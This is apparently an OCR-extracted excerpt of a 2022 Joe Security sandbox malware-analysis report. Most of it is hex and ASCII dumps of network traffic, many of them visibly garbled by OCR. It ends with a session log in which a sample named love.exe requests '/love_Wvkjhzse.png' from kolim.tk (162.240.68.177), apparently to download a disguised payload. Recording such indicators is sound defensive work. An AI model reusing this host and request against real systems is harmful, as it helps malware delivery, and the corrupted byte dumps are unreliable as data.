1e 52 9c 05 c0 5e a9 0f f6 a3 b8 af Oc 90 e0 70 2f 8¢ f8 79 81 7e 5a f8 4f 6f 21 64 91 d4 88 78 9e 64 5c¢ 1d fb 8d 9b 58 bc
€8 b2 d4 09 a6 2e 6f 28 61 60 78 5¢ 9a f1 df 46 17 cO 94 40 5b 2f 56 c7 40 ba 53 b3 74 b0 c6 d6 76 6a 86 df 1d 3f 27 59
99 b4 ¢9 70 ca 79 44 1b 7c d0 42 6f dc 8e 4b 63 80 dd 9d ce 6 06 55 8d c3 84 93 el 4a f2 39 1f 76 c5 19 30 b6 4f cf b7
1c d1 75 6f ch 25 81 8f 01 89 69 44 28 9a 06 8c dd 33 81 5c 72 45 88 89 16 ca a3 d2 80 7b c6 6¢ db 5a 5¢ 18 bd 72 7d al
90 2a 6a df 03 03 e0 23 45 76 a8 75 10 1e 33 b6

Data Ascii: 6K(pOpfDK"utH$}(Xw/jmR"p/y~ZOo!dxd\X.o(a X\F@[/V@Stvj?"Y pyD|BoKcUJIvOOu0%iD (3\rE{IZ\r}*j#Evu3

Data Raw: a9 4f 14 c4 44 75 e2 47 e2 5a cd 05 07 52 d1 9a dd 48 58 ab b1 d8 57 53 ac b3 ae f8 db 78 84 92 de 3a db d6
66 4b ed d9 e0 94 3c a2 c8 1d 99 67 72 8e c1 45 15 b0 39 0f 96 ac be a5 d4 65 f1 9d 7c a6 fe 05 21 35 2e 67 36 22 b5 39
33a2de 34 de31el3817aa2c 1c95e6 77 d7 Ob 70 78 19 6e 5a ed 7e 4d 2d cc 10 78 ab c4 24 86 e6 6f bb 1c bb 03
3 3f a5 59 cf 2a 7c 3b fb bf 2f 32 89 48 4d 64 f7 28 61 80 50 86 22 b4 d6 2f f8 5d €9 10 98 3f e6 eb Oe 85 c4 5c bf 9d 7f 8f
02 d0 2 af c4 Of bd 79 28 89 ff a6 a4 2e 68 09 9d ff 8e 74 cb 69 6f fb 83 80 a6 30 36 58 cc 7d 6e d4 74 63 1b 9b 8c 5 8b
80 e2 c3 71 6a Ob 99 de ab 87 83 5f f4 96 2b 6f 52 92 ed 9e 42 3c 45 4f 5a 98 de 0d b9 95 0Of f6 a8 1f ed 89 23 ad 3a 3f 23
ec 7d 74 4c b4 b7 3d 66 c5 42 d2 9a 64 a3 44 7c

Data Ascii: ODUGZRHXWSx:fK<grE9e|!5.96"93418,wpxnZ~M-x$0?Y*|;/2HMd(aP"/]?\y(.htio06X}ntcqj_+oRB<EOZ#:?
#}L=fBdD|
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Data

Data Raw: d6 f6 28 1c f1 7f cO 43 f1 67 8a 14 f0 57 27 03 c6 42 5¢ eb 3b 61 5d 06 b0 00 74 b9 4 7b 35 dO 16 2c 92 af Oe
50 2c dd d5 9b d8 ab 71 43 76 d4 59 04 26 fa 6a 49 61 c6 c8 eb 6f 50 9b 21 Ob 98 10 58 80 f8 42 fd 4d 17 5f Of 9 62 60
8353 0b 61 02 27 2b 39 43 ch 06 ac al 43 31 7f c3 b0 c3 e4 b6 18 {7 29 16 02 44 94 ab 0d b8 6a 3e 0d 04 a5 15 88 24
66 2f 05 78 19 30 83 85 b2 a6 Oe 1a 19 63 cd 5 9a 4e 1d f3 36 59 b3 5e ee 32 eb 4f 28 26 0f 3d 7f 92 3a 73 11 52 56 9b
07 cf 3541 41 44 8d b0 62 al aa 09 7c 3e 90 42 42 03 c0 8b 4f 3f a9 e7 1c 1b 77 47 d1 18 b5 fb ac 5d bd 9b 86 ec 29 d5
cc d5 4f f9 96 b3 53 f1 2e b7 56 70 68 07 38 27 31 2b 4c 46 {7 62 ea b1 Oe 00 9b el 3a 20 a8 c6 a6 64 a6 d7 51 98 d1 ea
d6 0d dO da 4d 9e 90 0Of ba Oa b5 a2 af 6f d0 f1 79 cc 6f

Data Ascii: (CgW'B\;a]t{5,P,qCvY&jlaoP!XBM_b Sa'+9CC1)Dj>$f/x0cN6Y"20(&=:sRV5AADb|>BBO?wG])0S.Vph8'l
+LFb: dQMoyo

Data Raw: 8a 9a 3e 30 98 4a af 3e 16 e7 7c ad e2 db fd a3 ba 5d a9 al 71 ef 93 8c 7f 1f 30 4b 1e 4a 01 4e 6b 09 db 5d
51 d4 b2 08 25 fa 1f 4a e2 c1 87 6b ec c1 dc 19 a8 49 0 f4 06 38 39 11 f5 d7 45 f3 bf af 89 2d b7 fa 1a Oc 4c ab 26 3f fd
72 cf 86 08 a4 6f 76 ea 09 d3 bc a8 0d 4 ef f4 6f fb 6e 6f ed cc dc b8 db a9 1le 35 8a 6a 33 b4 3c 8f 18 f6 8e 78 88 11 1f
6e clcl 48618803 a9 85 1a 5a fb a0 2c 04 6a 27 35 75 2b 65 8c 52 8a 71 04 3b de fd dc a5 28 b9 ad fc 08 b9 63 c1 5d
74 fa 86 d9 2e 0Of 3f 53 5e 60 al 7f 27 29 00 61 ce 3b 5f b1 6d 67 79 4e 3a c1 db 5f b4 88 b3 bc e3 ff 4f 51 27 24 d3 44 a0
24 9b 5f 12 58 ce c0 e6 8b 7a 9c 4b 82 bc 74 29 b4 1f 99 ad 67 cb c5 fc 65 36 98 8e 05 43 5¢ cc 7d 76 9c 99 2a bb ea ba
e5 08 bb 80 59 91 28 09 61 26 c2 99 40 c3 1c 81

Data Ascii: >0J>[]q0KJINK]Q%JKI89E-L&?rovono5j3<xnHaZ j'5u+eRq;(c]t.?S” ")a;_mgyN:_O0Q'$D$_XzKt)ge6C\}v*Y (a&@

Data Raw: eb 99 5b 31 29 9a a5 ef 81 9d c9 f6 44 ff 66 9c ee 02 ea 06 86 2f 41 a6 7b 77 ce 39 58 1b 7c c9 b2 20 d1 42
57 db 37 2b 0f 28 Oe c2 96 0d 51 Of 11 78 27 01 b6 50 99 01 15 34 22 fb 31 5 6e 78 fO f7 44 bb ee c7 b3 c2 22 72 52 2e
bd fd d1 a7 75 44 ab ec f2 78 f2 91 e7 6f 1f 3b 01 70 8c 2c 7f 10 9b ff 5d 1c af 51 49 f6 ff 85 4b ad 43 aa f5 2f 7e a9 a2 c5
58 1d 09 7d 68 50 b1 88 70 eb 43 f3 9e 1b 25 b9 d5 d1 85 d5 61 5e 32 b0 ¢3 54 7d 67 a2 b8 40 75 98 94 ab c3 ac 47 ab
84 25 2d a4 85 ce d7 d6 68 7a ab 73 33 c5 34 6b 93 ac fc 34 81 d3 80 28 91 b5 42 33 3b Ob d7 74 1b a3 bc 3b f4 24 64
7c fe e3 3f 9e 38 65 2¢ 55 19 5b a7 9f cc db fa de 07 01 ff 5¢c cb a6 63 40 62 ac 85 6¢ 03 f1 81 b8 8¢ 59 ef 1b b3 96 f1 da
94 b2 da e0 e6 Of ae 5d 32 €9 92 73 f4 c8 76 2a 6¢ db

Data Ascii: [1)Df/A{w9X| BW7+(Qx'P4"1nxD"rR.uDxo;p,]QIKC/~X}hPpC%a2T}g@uG%-hzs34k4(B3;t;$d|?8e,U[\c
@blY]2sv*l

Data Raw: 5e eb f6 32 38 c7 61 aa 53 5f 58 50 43 Oc 14 12 cc b5 e7 d3 4e 39 90 4a 3d b6 32 62 al fc 70 9b 5a a4 Oe 60
fd 61 24 d6 8e 81 d9 8c e9 78 d3 9f 89 4d a3 da dd el 18 96 ff c4 69 31 99 af 31 3b 58 ab 98 29 06 e3 55 6e 41 ea 8f 6d
06 67 54 f8 el ca 5¢ 2d 52 41 a4 bb 3c 15 a4 6¢ 2b 45 b4 48 4a 15 a2 8d e7 f3 07 5¢ d6 84 75 11 8¢ 28 6e 23 cf el c7 5a
69 da 06 65 a8 09 7d ed 3f 03 2a 3b af 62 ab b4 f0 2b 8d d2 9d 58 11 2f 58 e3 ae 21 c6 db e3 Oc 5e 50 6f 71 ¢3 08 8f 38
0f e3 e6 22 d1 91 88 33 58 d8 15 bb a6 dd bl 38 46 3a 94 68 fa 83 f6 77 d6 b4 a2 d4 88 70 66 27 7b 29 ¢7 dd a2 5d 6d
0d 08 14 90 Oa a9 c9 d6 84 89 67 32 8d 8b ff d6 6d 18 11 5¢c d9 ee 93 5f 72 b9 bf b5 26 73 ¢1 90 d5 6a ab da 43 5a 5d 63
ef 45 40 ¢3 51 ad 4e 8b b7 79 8f 71 Oe 30 3e ab f4 d1 5a 50

Data Ascii: #28aS_XPCN9J=2bpZ a$xMill;X)UnAmgT\-RA<I+EHJI\u(n#Zie}?*;b+X/X!"P0og8"3X8F:hwpf'{)]mg2m\_r
&sjCZ|cE@QNyq0>ZP

Data Raw: eb 05 fd 03 a7 98 69 1f 2e 4c c8 fe d6 3c 2c f2 05 e7 02 96 33 68 al 68 cc cc ec 95 96 52 Oa e8 f6 47 60 ce 91
€124 2fd6 71 d5 cb 52 ca 98 13 al a2 02 87 e0 9a 4c 3c 33 59 11 e0 b7 d4 af a6 98 59 73 f0 77 6a 36 7a b9 76 61 c6 34
67 18 72 f7 €3 77 99 e4 4b 82 3a d2 52 68 6e 67 bl 1e b3 7c 9a 0f a9 db a0 aa 89 27 91 e4 22 94 ec 11 e7 21 32 75 25 fb
44 8e ce 8a 41 f6 57 70 44 d7 41 5a ca 36 90 50 9c ef 22 99 f0 9b b5 fb Oc 2e 9e 04 50 33 5b 82 38 9e a4 d2 b3 c2 7f 20
17 f3 69 c1 50 a0 44 49 47 9c a3 d3 d1 d0 63 17 17 41 ac d3 8f 06 ac 28 48 a9 6d 8b 69 75 ad 25 fd 66 4b 5e 56 6¢ Oe 35
5b f8 d8 cb 29 8c 79 a5 b6 e7 3d 69 b2 76 f4 d8 Of 61 f7 79 b9 ec c2 cf e8 88 cc 76 a7 dc 29 9d 84 c4 6f 5f ea 21 93 52 59
f1 e5e8 8a d1 67 9f ef 79 ce f0 5f f9 5d 78 b7 71

Data Ascii: i.L.<,3hhRG $/qRL<3YYswj6zva4grwK:Rhng|"12u%DAWpPDAZ6P".P3[8 iPDIGCA(HmMIiu%fK VI5[)y=ivayv
)o_'RYgy_Ixq

Data Raw: b9 {7 60 8f 7d ff 2e 7d 57 0d ab 45 52 8 7f f5 41 f9 92 31 ca e4 12 12 63 e4 26 d0 49 d3 ab 10 bf Of 4e f7 70 b2
56 8b 16 cd e3 b3 20 80 66 76 58 fc 49 aa 77 57 27 52 6d ec 98 41 15 6b e9 be 4b 22 68 cf b3 1f c8 8c ef a0 b6 01 d3 1a
41399 39 64 d1 95 e0 a2 f7 c9 5b f1 fa 24 f4 93 94 57 4a 3d cd 36 53 3d 5f 90 56 2a 8d 8f a4 9f b1 55 e8 cd b9 a8 88 cd
3 b5 fa 58 b7 2f 44 49 13 52 14 c6 7b a6 0a 43 b7 b5 b3 77 ca 76 97 cl 1c e2 cf Of 7b 7f 7f 69 ac a4 72 e6 bc 52 9d 19 88
el 8e al 91 8b 20 ba 53 ed 9b b6 91 4f 98 20 74 dc 69 77 e7 70 95 f9 38 1f e0 11 b2 fb 76 72 58 22 f0 cf 19 7f 70 20 e7
da ef 97 87 b0 02 ce ae ef 2c db 98 27 6¢ 6b 7b 29 d1 a8 3b 8a c0 70 d7 a5 be da 8b 89 8f 91 Oc eb bf 3e 7a 1d 24 8b 52
f7 29 ee 21 04 ba 31 fe 17 a7 58 c6 e2 12 24

Data Ascii: '} JWERALc&INpV fuXIwW'RmAKK"hA9d[$WJI=6S=_V*UX/DIR{CWV{irR SO tiwp8vrX"p ,1k{);p>z$R)!1X$

Data Raw: e3 46 14 8a 8a 72 be 07 c6 43 08 7a 4e al 23 00 1c ca 74 dd f3 d3 6b 7f 4f 4c ba 42 5a a2 12 df 3b 8e 97 d1
59 9a c2 42 33 cf f0 d6 35 71 5d 91 50 89 8e cd 43 7f db 2f 3e 3¢ 12 6a €3 ff b2 88 18 aa 5d 50 15 3d 7 24 d1 93 eb 9e
17 d7 94 80 ee 9b 36 a9 13 al 4b 26 d5 e3 52 7a bc da 9a 4a 1e b5 9¢ b4 63 ec d0 d9 dd 21 12 40 78 48 7a 4a 4d ae 41
93 fd 93 14 d5 1e 21 3b 7b 48 84 4d ac 52 ab fa f5 dd d5 dc ¢7 8d 7d 9b 56 4e ff dO 7f 8c 3c 26 d9 19 f9 84 al 84 d3 a3 c7
bb b0 c6 32 ad c2 c8 dc 76 9e af 04 86 7f cf f1 ab 32 de 50 06 5f 97 a2 42 73 66 Of d6 4b 59 b1 57 88 82 3b 25 ed fe 8f b2
32 06 c8 b6 bc 57 35 3b 16 6a 2d a3 bl 29 4f fc 2d 5f 29 el a2 b9 ed 8b 20 06 95 05 09 74 91 4f bO f4 73 aa ee c9 7d e4
1 2e f0 40 f7 3e 59 21 3e 3e 85 fe 4d ae a9 2b ac 3b

Data Ascii: FrCzN#tkOLBZ;YB35q]PC/><j]P=$6K&RzJc! @xHzIMA!{HMR}VN<&2v2P_BsfKYW;%2WS5;j-)O-_) tOs}.@>Y
I>>M+;

Data Raw: 20 3a 43 63 d5 6a be 16 d9 78 5b 78 d4 3d a7 53 f7 8b 43 da a9 0d 1f ca 2d eb 14 b8 31 b6 c2 2b 31 eb 3f 46
b2 43 74 f4 3d b0 57 d1 c1 30 fO fO 11 ff 9b b1 69 7c 96 8b f5 44 c4 50 76 16 22 ae 7d 33 03 a6 1d 2b 12 e0 3a 56 Ob 6e
ef cf 9a 45 58 42 50 b5 e5 fd 73 76 a6 62 2f eb 41 e2 1la e2 2c a5 63 al b2 97 64 1e b9 57 2¢ de 9d ea 3e de 3d bb e8 4b
ee 31 00 d2 fd 37 75 3f 77 ff f9 f0 92 3b 78 bd 19 f5 7e d0 08 12 81 ca e8 d7 50 32 98 54 3b 5f 4c 55 6f 21 6d 4a e5 1c e0
44 ee d8 49 ca e2 83 7d 95 98 04 af 5d b5 bc 2d 7¢ 03 b4 11 53 f0 dc 98 18 2f 16 9d 63 14 f6 3a 84 df e7 bl e7 f1 e2 2e
05 09 23 65 86 fa 47 26 f7 80 bf 7b 36 2b 77 a0 00 37 26 b2 2a 02 3b 37 d1 58 2c b4 17 55 5f f1 b2 46 98 5a 53 09 €0 4c
b7 10 81 71 20 5c ae 80 b2 71 ca ba 29 79 ea 53 7b 9d

Data Ascii: :Ccjx[x=SC-1+1?FCt=WO0i|DPVv"}3+:VnEXBPsvb/A,cdW,>=K17u?w;x~P2T;_LUo!mJDI}]-|S/c: #eG&{6+
W7&*7X,U_FZSLq \q)yS{

Data Raw: df 87 87 4c 28 a0 75 c4 c9 bd Oe 33 65 d1 92 11 57 89 05 6e cO d3 ce 91 59 3f a8 86 e5 33 f4 06 a6 9b 48 ff fc
10 66 cc af 02 8b 05 af 96 08 43 bc 69 0a 2a 74 99 44 c7 cb c1 ee 30 82 c1 c7 86 6a 46 c8 60 be 91 3e 4e 32 b7 44 c7 bb
0 fd 1b 6f 2e cO ba 6a 59 a2 f1 7f eb 46 d3 cf c4 3c 2a 95 3b 30 19 ec cf 23 64 5b 11 d2 84 aa 92 f3 bc 7 ce 4e ea 97 af
8c 39 aa 67 d6 0d 64 b9 5¢c 93 46 2¢ 33 €0 97 1f cd c1 0d b6 55 58 94 43 74 be 7a 04 73 f6 35 9e 3c 25 fb ef 3c fb 40 a2
90 d1 ee 57 09 c9 3b 54 e0 92 fb 92 01 75 cd 1d 47 23 3d 77 8a 70 24 d4 10 bc 9b bb 08 48 82 b6 35 ca 77 9¢ 56 bd 82
b9 05 fa 9d 1c 48 63 2e 76 3f 5b 7e f8 1c e2 be 28 28 a5 b4 e3 e7 85 21 06 Oc a0 75 e5 66 05 5¢c 0f e6 21 76 01 57 a6 23
b5 19 97 25 f3 ¢7 98 17 da Oc bl 5¢c 00 32 d4 42 47 df

Data Ascii: L(u3eWnY ?3HfCi*tDOjF >N2Do.jY F<*;0#d[N9gd\F,3UXCtzs5<%<@W; TuG#=wp$H5WVHc.v?[~((luflvW#%
\2BG
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Data

Data Raw: 80 87 c8 8a c0 bc 4d f9 d0 ba 64 86 1c 45 8c 78 88 fa 2d 70 74 ec 1f 6e 9f 5d 2d 9d 28 f3 7e 16 1b ad 4b df 72
46 a6 09 c3 b9 9a 7c 37 a2 d6 09 8b 35 97 ed 42 5f 41 e5 08 Oc 48 a7 04 dd 4c d1 1f al 7a c9 61 ef 37 7f cc 7d de 8e 8f
43 e4 01 93 69 f3 28 a6 eb 98 68 50 ee bl 2c 60 4c d9 29 bb 1f 36 dc ca a9 54 95 79 d0 be 34 el c6 a2 00 8b 38 c5 04
4d 1f 9d 2b 7b e3 bc d7 Of 6f a4 de 93 82 ea cd 21 19 0f bc 94 ¢7 04 38 db 76 ab 65 c4 a7 20 c7 db b7 14 9a 83 5d 77 af
6C 99 c3 6e 72 19 ad 68 a4 d4 64 78 83 4a 3c 1f 62 64 87 8e 13 d3 74 a2 fe 4a b0 32 5d 01 4d da 3c 65 51 0f 05 6¢ f6 ad
1c b1 95 1c 62 0d 59 ce 44 5f 5a 35 44 33 f2 25 04 3e 08 6e 55 16 4c 08 c¢7 00 05 66 76 c2 d9 b5 Oe c2 0a 3a 74 88 29
7d c9 b4 8c 90 ed 01 25 8d Oa bb 0d 31 ee 9a ec 8f b8 9a 8f

Data Ascii: MdEx-ptn]-(~KrF|75B_AHLza7}Ci(hP, L)6Ty48M+{o!8ve JwinrhdxJ<bdtJ2]M<eQIbYD_Z5D3%>nULfv:t)}%1

Data Raw: 5¢ 04 1c 98 6f d4 ec e2 c6 41 47 b8 fa 3a b2 cb 7b a8 f2 ff 21 ¢3 30 32 69 98 bd ba 46 58 1a 78 d9 ef 78 6f 27
85 ad 72 9c 03 04 cb 05 26 92 c5 77 ef 7f d1 82 ¢5 9d 95 69 2c 02 24 d1 2a 88 ad 96 19 53 49 17 d5 35 e8 e4 b8 c9 4b

8e 8a c0 48 9f 78 f6 7f 0a 33 ¢3 59 3d b8 3f 20 b0 2d al d3 95 c0 40 44 25 f4 40 9f e5 61 1a c3 53 fe 54 d7 7 06 67 4a
00 6f c9 44 2a c1 49 3a 50 78 2c el c8 ce 9f 56 6b ef 9c 32 e5 8f 1e 1a b9 c2 8551 e8 8b d9 35 65 ea 89 0Ob 66 ff b0 16 fa
ad 8a af 2a 93 9f 6e 1d 97 63 bb 5b 16 12 97 5f f2 cc 58 4d 22 16 b0 d4 ed 24 7b 41 f0 52 2b 58 a4 62 97 ad ff f4 6e 05 c6
3f 1d 6f 89 16 3b d5 fb 7e 2e 56 7c 6b 78 bd 25 c8 8b fe e2 f2 9f 67 03 b4 96 89 e7 4a 5e 62 6a 38 3a 96 3b 62 99 20 51
5d b5 21 9c 5f b0 d5 2d ac 1c 39 76 cc ae b7 f0 39

Data Ascii: \0AG:{!02iFXxx0'r&wi,$*SI5KHx3Y=? -@D%@aSTgJoD*|:Px,Vk2Q5ef*nc[ XM"${AR+Xbn?0;~.V|kx%gJ"bj8:;b
QJ'_-9v9

Data Raw: 98 f8 52 8d 84 ab 82 88 63 4d d6 62 69 9d d1 69 cc 3c 22 e0 5¢ 84 1c b7 18 3f e6 ed b2 13 ba ec c2 80 e8 29
bc 59 70 €9 71 dc 2b 18 6b 71 98 92 7b fe a3 fa 17 78 08 18 2d 6e f2 6e 33 d1 b4 09 a5 fb 31 7e cc 5a 7e 7f 55 ee 25 bf
47 9 46 41 25 a5 9a 5e 45 ab 38 18 95 53 21 le e7 81 e4 21 2a 1c a7 51 86 5e ec 5d e0 f2 4e 6f c6 36 82 a8 77 28 c1 de
€536 02 17 37 fa 17 2d 90 0d c8 2d c2 1d 79 7e 11 87 63 61 b0 98 67 {7 1a f9 7d c9 cb 45 99 fc 76 c6 fd 46 Oa e0 98 ff 42
8e 49 76 00 bd 2f e5 fc 98 9c aa 94 18 4a a9 48 94 39 36 a2 3e 6¢ €7 4c 8e 3d 75 c0 df 5fd0 78 7e 41 dO fb 4b 48 8d 2b
e0 c6 cl1 27 54 69 b5 a8 13 8a 85 d9 b8 9e e5 33 24 e7 44 34 a3 33 d6 8b 3 bc 3c 3f d2 3f 3f Ob e6 af a2 a3 66 56 Ob 08
50 ca el b7 af 92 e8 38 {8 6b fa a6 ca 68 c9 e7 61 cf

Data Ascii: ReMbii<"\?)Ypg+kg{x-nn31~Z~U%GFA%"E8S!!*Q"|No6w(67--y~cag}EVFBIV/JHI6>IL=u_x~AKH+Ti3$D4
3<??2?fVP8kha

Data Raw: b6 12 8e 87 f2 54 5a 92 82 €9 53 1c 75 78 c5 €3 b9 d3 fb 5d 62 b7 27 f2 b4 2e 45 3f 74 b4 ee 46 90 f0 ce d6 ef
b3 al 7d 21 c1 6b f8 cd 88 64 dd ec 86 ca 08 e7 42 cc ac b7 3f 36 ff al 3d d3 8b 75 d4 9e Oc 2a 61 c4 a7 b6 a6 fa Ob a6
2b bf 47 70 8b 19 ee 4e 3f cd f8 3c 44 01 1d e7 c5 6a 49 fa 76 a6 b7 d4 43 96 7e b0 30 26 39 05 90 9e 45 72 47 67 al a2
7c f1 70 9e df 02 b7 28 43 3f 5¢ b4 21 45 ac 50 e4 e6 b3 af 9c Oe 2d 4f 10 3e 89 a5 ef 44 el 9 d3 74 cf bf 99 4e 2e 29 a8
5 2d 7c b8 db 46 10 34 b9 95 38 56 49 cb ea a9 d2 be 58 48 4a 49 eb 6b 01 c0 f3 Oc 00 59 18 97 b3 b0 e4 6¢ 6b ab 39
1c ba 23 a4 81 af 82 73 40 38 a7 0d a0 e0 77 94 ce f2 ae d2 ea 0d b3 7f 18 71 56 a0 69 af fe €8 80 b4 23 10 53 f0 76 96
80 ed d0 b5 d2 74 de cf 84 b9 cf 6d cO 55 Oc a3 99 5b

Data Ascii: TZSux]b'.E?tF}!kdB?6=u*a+GpN?<DjlvC~0&9ErGg|p(C?\!EP-O>DtN.)-|F48VIXHJIKYIk9#s@8wqVi#SvtmU[

Data Raw: 42 3c b0 06 cf 65 8e 93 18 98 ea 80 d6 00 c¢7 51 8d 7a 03 0a 07 38 99 99 3e 35 30 6b c2 78 1d cf 81 00 13 2d
5f 9e 92 22 Oc 3c 38 f8 14 b2 53 ee 42 ce ef 19 56 19 71 cd 49 b1l 48 cc f5 64 9a 1d a5 a9 1f 66 aa 9e 4c 6e 8¢ 18 21 e3
e8ba 6¢ cc d0 9d 11 19 49 83 28 16 5e a3 47 7e 49 7c f1 d9 €8 5d 0a 7c 04 d5 71 02 88 69 30 63 95 25 b4 35 €9 09 52
61 50 42 25 02 9f 69 34 fd 4d e3 90 ac 48 fb €9 80 d7 25 ca 95 97 24 91 2f ac fd c4 f3 01 6a 22 8d d9 ef dO 19 aa 45 a7

11 9c 03 db 89 6 92 27 90 11 cf €9 26 c6 cf d8 1c 46 3d 3e 5b 9f 2¢ 25 59 af 4a 44 6a ab f6 €0 94 fc 99 d9 47 d7 c3 e6 68
64 0b 1b 51 99 30 5c 8e 03 22 5e 5d al 32 d2 0a 8d 37 18 5d 5e cf fb c0 09 7b 2b 92 a4 2a 8e f2 ef 3e 55 36 b9 a0 fc 76
9e c2 ¢3 27 01 23 14 2e 5e 2f 44 f1 9f 69 c3 8f 57 64 c4

Data Ascii: B<eQz8>50kx-_"<8SBVqIHdfLn!lI(*"G~I|]|qi0c%5RaPB%i4MH%S$/|"E'&F=>[,%YJDjGhdQO\" 27| {+*>U
6Vv'#.7/Diwd

Data Raw: 7d a0 af 2e 24 d9 60 46 c4 ae c6 36 04 cf 66 9d be 28 50 12 ae c5 32 ¢9 d2 bd d1 01 4d 96 91 09 9f 5a 5¢ 7c
31 0c ae 42 97 b1 32 06 1c 05 2d f3 fc 15 72 91 47 50 f1 bb a8 13 cf 78 d7 38 f0 e0 a5 2c 15 21 ca e3 be d3 d8 8b b5 88
56 Oe 5b 23 29 14 ac 9a 80 80 d1 aa bf 2a d3 74 al 4d 2e f9 f6 4e 8b 85 9a d4 fb ec 5¢ ff 84 ea db 1a 3d 23 25 38 85 14
d4 04 e2 2c 4b 64 55 00 b2 76 Of 4c cb 11 8a fa 7e af ee 77 09 1e 34 09 88 a0 41 52 3c Oe 76 8f bb ee 18 c8 f6 ed 50 6f
74 c0 03 bb 8b 91 4b 3f Oe d9 bd 95 b6 ed 3f d5 c5 de a6 8b 64 ac 99 0f 77 3f 75 61 90 97 76 26 74 98 64 5d 32 35 6e 64
65 5e 8a d0 cb 3e 9e 25 eb 89 f7 b3 c0 d0 6e 26 46 d2 1f 08 14 11 87 df 84 36 02 7e 1e f2 7 76 3b de 90 5d 7a c5 04 95
40 ¢5 56 f2 55 1b b6 eb ¢8 b6 50 17 al 1c b6 95 1c c8 21

Data Ascii: }.$ F6f(P2MZ\|1B2-rGPx8,!V[#)*tM.N\=#9%68,KdUvL~w4AR<vPotK ??dw?uav&td]25nde >%n&F6~v;]z@VUP!

Data Raw: 13 c2 b3 80 e4 5c e6 8 c7 fb dd 66 f1 58 97 6e 65 b0 7a 9c 71 21 e df 96 79 ce dc 60 59 37 6e d4 el ae ee
ce 27 82 24 5f 71 5d 8e f5 f8 9e ca b4 74 fe ee f5 92 7e 7e 82 66 25 ad 9b dc 9f a8 e3 5d c6 4d 34 3d e6 c5 e8 db f6 60
23 dc 5e 3f 14 65 el da 5¢ ba b9 5d 79 b6 a4 39 18 12 3e 78 d2 2a 3c b6 ec dd 83 c2 89 bd 7d 1b 2f 25 9e e8 00 97 7 b4
84 8b e0 b9 e6 5a 93 fe 58 64 1f fe 25 07 96 cd 9b 08 40 61 31 25 81 37 06 ba cd 10 e2 5f 51 97 11 13 7d 26 66 3a 2d 2a
80 a7 31 15 7f 2c 80 14 e5 2f 65 78 4f f0 d6 36 bc 78 01 d6 fa 7f 23 61 34 bc ec 94 3a 5¢ 38 9c 8a 38 76 5a 83 54 e0 ee
17 a2 23 0b 21 €9 0d 94 65 9a c8 2f dd 29 d7 a8 a9 48 ad d1 90 f5 71 7a 26 17 98 a6 6b 2f b9 ba 48 c9 74 b1 c0 49 73 70
f2 a0 fd 3f 23 e5 0f 79 52 c8 6f ca 9b b6 8f 8f 30 60 a2

Data Ascii: \fXnezqly Y7n'$_q]t~~f%]M4="#"?e\ly9>x*<}/%ZXd%@al%7_Q}&f:-*1,/exO6x#ad:\88vZ T#!e/)Hqz&k/Htlsp?
#yRo0"

Data Raw: 23 ¢7 60 27 0b 2 30 32 d4 28 b9 d8 91 ff 8a a2 cb ce 85 00 25 2b f7 59 09 5a 5f 37 bb 3e c8 6a 6¢ ec 51 00 97
ed f7 34 7c 15 16 8d 1f f3 cd 1f 25 b7 4b b9 9c d9 70 4e 7e 4a f2 f8 54 cf ca c6 €7 b6 92 74 0d 7 72 e7 46 58 cf 70 67 c3
97 a4 b0 e2 08 ae 46 ab fa 5a 61 9a 51 24 b6 3b 21 17 28 da fe 3e ¢3 29 58 23 1b 79 e7 8a 6b fb €9 b0 1e 9a c7 85 c3 e3
81 c2 1d d0 ac 72 30 ba 62 93 38 5¢ ea 3b 55 22 cd b4 3f 1b 14 b8 28 07 72 05 35 e6 ca a7 64 36 b2 4c ea 64 2c 06 c8
be 70 18 be a8 9b 73 Ob 8e 42 69 5f 8b a8 b1 3e dd 38 9c f2 bc 13 53 dc fa 5b fd ba aa 80 a6 eb 98 85 72 c5 fe €0 c4 e5
43 d6 31 a8 38 e9 c4 7e 8f ba cd 9c dO 2f 2b c6 a7 55 4b 6e 68 4a 72 24 49 81 c6 cO b3 6a 6a e4 8e a2 16 db c1 bl 27 48
bb 18 eb 08 43 54 a5 f5 38 54 2d 9d c4 4a 2f 1d 68 ff

Data Ascii: #'02(%+YZ_7>}IQ4|%KpN~JTtrFXpgFZaQ$;!(>)X#ykrob8\;U"?(r5d6Ld,psBi_>8S[rC18~/+UKnhJr$ljjHCT8T-
Jh

Data Raw: 9a 65 39 46 d7 d9 19 84 49 a0 07 17 7d 05 a8 d6 cf e2 70 5d cd dO 1c 02 2a 9a 90 31 5f 4d aa ea ed 31 60 90
995 6e el 46 79 7c f9 8a ec 29 24 5a 52 cf 6a 26 83 a8 4e 13 e3 2f ¢7 64 b5 43 41 3f 58 0d 32 c3 e3 bb e2 2a da 16 d8
45 8e 04 bf 5e 1c fO ad 99 38 c4 92 57 ¢8 8e f9 06 b8 2c f4 9b 8b cc 20 ¢3 61 d6 21 84 05 2¢ 10 ed 65 87 ee 48 Ob a6 ce
8a 6d 27 fa 84 d1 c4 24 08 5e fe 08 e8 a3 92 73 8a 0f 7 9b 92 3d 05 48 ab c0 a6 67 9f 52 80 3d c8 83 ee 53 7e c8 7f da
8a 5f b9 6¢ 20 b9 el 99 a3 4d Ob e5 3b 72 db 34 d9 71 00 d2 26 3b 9d Oc 2b 55 bd 5a ef a6 2a cd 2 36 8f 22 9 77 Ob 4a
39 b4 53 67 30 50 f5 2f 28 9e 6d 7b €9 14 38 3d 1e c4 04 ec 68 30 6d 4d 04 de 5d e4 4 ce ec 75 82 4e be 07 21 5f 3a 82
02 85 38 a0 ef 69 b0 24 30 2c 99 26 96 Ob 17 8e 11 ad cf

Data Ascii: e9FI}p]*1_M1 nFy|)$ZRj&N/dCA?X2*E"8W, a!,eHm'$"s=HgR=S~_| M;r4q&;+UZ*6"wJ9SgOP/(m{8=h0OmM
JuN!_:8i$0,&
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Session ID Source IP
3 192.168.2.3
. kBytes
Ti t
imestamp transferred

2022-06-23 16:20:18 UTC 1607

2022-06-23 16:20:18 UTC 1607

2022-06-23 16:20:18 UTC 1608

2022-06-23 16:20:18 UTC 1615

2022-06-23 16:20:18 UTC 1623

2022-06-23 16:20:18 UTC 1631

2022-06-23 16:20:18 UTC 1639

2022-06-23 16:20:18 UTC 1647

2022-06-23 16:20:18 UTC 1654

Copyright Joe Security LLC 2022

Source Port

49774

Direction

ouT

Destination

Destination IP Process

Port
162.240.68.177 443 C:\Users\user\Desktop\love.exe
Data

GET /love_Wvkjhzse.png HTTP/1.1
Host: kolim.tk
Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 23 Jun 2022 16:20:16 GMT

Server: Apache

